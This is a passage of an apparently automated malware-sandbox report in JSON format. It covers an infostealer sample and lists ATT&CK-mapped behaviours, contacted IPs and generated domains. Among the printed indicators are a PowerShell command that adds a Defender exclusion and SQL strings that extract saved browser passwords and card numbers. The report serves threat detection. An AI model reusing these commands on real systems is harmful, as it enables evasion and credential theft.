\"RpcServerRegisterIf2\" (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$80","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"$81","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$82","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$83","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"00004636.0000121C.35638715.00401000.wprm\")\n Found reference to API \"Windows(TM) - Component PPD License (Microsoft-Windows-InternetConnectionSharingConfig)\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002944.00000001.74081.002A0000.00000004.mdmp, 00000000-00002944.00000002.76003.002A0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"InternetConnect\"; Source: \"00000000-00002944.00000002.76003.02390000.00000004.mdmp\")\n Found reference to API \"policyInt name=\"Microsoft-Windows-InternetConnectionSharingConfig-HomeNetICS\" attributes=\"override-only\">11 Microsoft Corporation\"\n \"LogTransport2.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 3968)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 1268)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$a4","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"SearchIndexer.exe queries ProcessDebugPort (UID: 4520)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Possible heap spraying attempt detected","description":"$a5","origin":"API Call","mitre_attack_id":"T1189","relevance":10,"id":"api-88","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"14/27 Antivirus vendors marked sample as malicious (51% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$a6","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$a7","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"$a8","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 128-bit algorithm","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"chrome_pwa_launcher.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"setup.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"chrmstp.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-57","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 256-bit algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"chrome_pwa_launcher.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"setup.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"chrmstp.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - References common sandbox DLLs (sandbox evasion)","description":"YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process \"00000000-00003968\"","origin":"YARA Signature","mitre_attack_id":"T1497.001","relevance":5,"id":"yara-52","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on Chacha20 instruction used in process \"00000000-00004520\"\n YARA signature matched on AES instruction used in file \"elevation_service.exe\"\n YARA signature matched on AES instruction used in file \"chrome_proxy.exe\"\n YARA signature matched on AES instruction used in file \"chrome_pwa_launcher.exe\"\n YARA signature matched on Chacha20 instruction used in file \"chrome_pwa_launcher.exe\"\n YARA signature matched on Microsoft cryptographic provider file \"updater.exe\"\n YARA signature matched on AES instruction used in file \"setup.exe\"\n YARA signature matched on Chacha20 instruction used in file \"setup.exe\"\n YARA signature matched on AES instruction used in file \"chrmstp.exe\"\n YARA signature matched on Chacha20 instruction used in file \"chrmstp.exe\"\n YARA signature matched on Chacha20 instruction used in file \"WatAdminSvc.exe.bin\"\n YARA signature matched on Chacha20 instruction used in file \"WatAdminSvc.exe\"\n YARA signature matched on AES instruction used in file \"notification_helper.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":3,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_EXE_Packed_SmartAssembly\" matched process \"00000000-00003968\" as \"Detects executables packed with SmartAssembly\" (Author: ditekSHen)\n YARA signature \"INDICATOR_KB_CERT_7c1118cbbadc95da3752c46e47a27438\" matched file \"sample.bin\" as \"Detects executables signed with stolen, revoked or invalid certificates\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"winmgmts:{impersonationLevel=impersonate}!\\\\\" (Indicator: \"winmgmts:\"; in File: \"00004636.0000121C.35634271.00400000.wprm\")\n Found string \"winmgmts:\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in File: \"00004636.0000121C.35638715.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"RegSvcs.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data\" (Type: \"FileHandle\")\n \"RegSvcs.exe\" had access to \"C:\\Program Files\\Google\\Chrome\\Application\\109.0.5414.120\\elevation_service.exe\" (Type: \"ObjectHandle\")","origin":"Touched Handle","mitre_attack_id":"T1005","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\n314phwr.xlb.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\fkhesf0p.ndc.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\n314phwr.xlb.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\fkhesf0p.ndc.psm1\" with delete access\n \"SearchIndexer.exe\" opened \"C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSStmp.log\" with delete access\n \"SearchIndexer.exe\" opened \"C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\res1.log\" with delete access\n \"SearchIndexer.exe\" opened \"C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\res2.log\" with delete access\n \"SearchIndexer.exe\" opened \"C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\tmp.edb\" with delete access\n \"SearchProtocolHost.exe\" opened \"C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000000.db\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$a9","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$aa","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" - (UID: 00000000-00003968)\n \"SearchIndexer.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\SearchProtocolHost.exe\" Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" - (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"RegSvcs.exe\" connects to 172.237.146.38:80","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Writes PE header to memory","description":"$ab","origin":"API Call","mitre_attack_id":"T1055.002","relevance":7,"id":"api-83","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"$ac","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"14/27 Antivirus vendors marked sample as malicious (51% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$ad","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"$ae","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Network Related","name":"Contacts many different hosts","description":"Contacted 19 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Network Related","name":"Detected many DNS responses with a low TTL","description":"$af","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Found FTP credentials location strings","description":"\"Software\\FTPWare\\COREFTP\\Sites\\\" (Indicator: \"\\coreftp\\\") in Source: 36163-87-00444B90\n \"\\recentservers.xml\" (Indicator: \"recentservers.xml\") in Source: 36163-149-00445980\n \"\\sitemanager.xml\" (Indicator: \"sitemanager.xml\") in Source: 36163-149-00445980\n \"\\Yandex\\YandexBrowser\\User Data\" (Indicator: \"\\yandex\\\") in Source: 36163-2190-00463C17\n \"\\Comodo\\Dragon\\User Data\" (Indicator: \"\\comodo\\\") in Source: 36163-2190-00463C17\n \"\\MapleStudio\\ChromePlus\\User Data\" (Indicator: \"\\chromeplus\\\") in Source: 36163-2190-00463C17\n \"\\Chromium\\User Data\" (Indicator: \"\\chromium\\\") in Source: 36163-2190-00463C17\n \"\\Comodo\\IceDragon\\Profiles\" (Indicator: \"\\comodo\\\") in Source: 36163-2190-00463C17","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":6,"id":"string-11","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Steals sensitive data from browsers","description":"Found string \"SELECT origin_url, username_value, password_value FROM logins\"; File: \"00004636.0000121C.35634271.00400000.wprm\")\n Found string \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"; File: \"00004636.0000121C.35634271.00400000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":10,"id":"string-508","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"RegSvcs.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Mozilla\\Firefox\\Default\\\"\n \"RegSvcs.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Default\\\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"System Security","name":"Modifies System Certificates Settings","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0\"; Key: \"BLOB\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\"; Key: \"E12DFB4B41D7D9C32B30514BAC1D81D8385E2D46\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\E12DFB4B41D7D9C32B30514BAC1D81D8385E2D46\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":8,"id":"registry-38","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (UID: 00000000-00003968)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\"\" (UID: 00000000-00001268)\n Spawned process \"RegSvcs.exe\" (UID: 00000000-00004636)\n Spawned process \"SearchIndexer.exe\" with commandline \"/Embedding\" (UID: 00000000-00004520)\n Spawned process \"SearchProtocolHost.exe\" with commandline \"Global\\\\UsGthrFltPipeMssGthrPipe1_ Global\\\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 \"Software\\\\Microsoft\\\\Windows Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\" \"%ALLUSERSPROFILE%\\\\Microsoft\\\\Search\\\\Data\\\\Temp\\\\usgthrsvc\" \"DownLevelDaemon\"\" (UID: 00000000-00000412)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"Accesses potentially sensitive information from local browsers"},{"detail":"POSTs data to a webserver"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Found browser information locations related strings"},{"detail":"Found Putty/Winscp session related registry strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies System Certificates Settings"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected many DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 69 domains and 69 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":14,"imported_dlls_count":171,"dropped_files_count":0,"extracted_files_count":102,"files_written_count":22,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":19,"dns_resolutions_count":69,"contacted_urls_count":28,"http_requests_count":28},"behavior_tags":["fileinfector","m0yv","modular","credentialharvesting","sourcecodeleaked","criminal","sinkhole","infostealer","malicious","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6912f7c0202e89ec7c010238","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","RUS","USA"],"submit_name":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe","analysis_start_time":"2025-11-11T08:48:53+00:00","indicators_count":{"informative":333,"suspicious":94,"malicious":21},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"44.244.22.128","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"50.16.27.236","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"3.229.117.57","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"172.237.146.38","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"192.64.119.165","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"91.195.240.19","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"176.100.243.135","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"54.146.6.253","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"3.238.30.69","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"172.233.219.78","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"3.250.92.156","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"34.229.166.50","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"104.156.155.94","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"52.43.119.120","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"54.85.87.184","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"165.160.15.20","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"34.209.195.255","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"52.212.150.54","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"address":"85.214.228.140","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"dns_resolutions":[{"domain":"acwjcqqv.biz","address":"50.16.27.236","ttl":116,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"anpmnmxo.biz","address":"192.64.119.165","ttl":303,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"brsua.biz","address":"52.212.150.54","ttl":271,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"bumxkqgxu.biz","address":"3.229.117.57","ttl":248,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"ctdtgwag.biz","address":"54.85.87.184","ttl":170,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"cvgrf.biz","address":"44.244.22.128","ttl":15,"country":"United 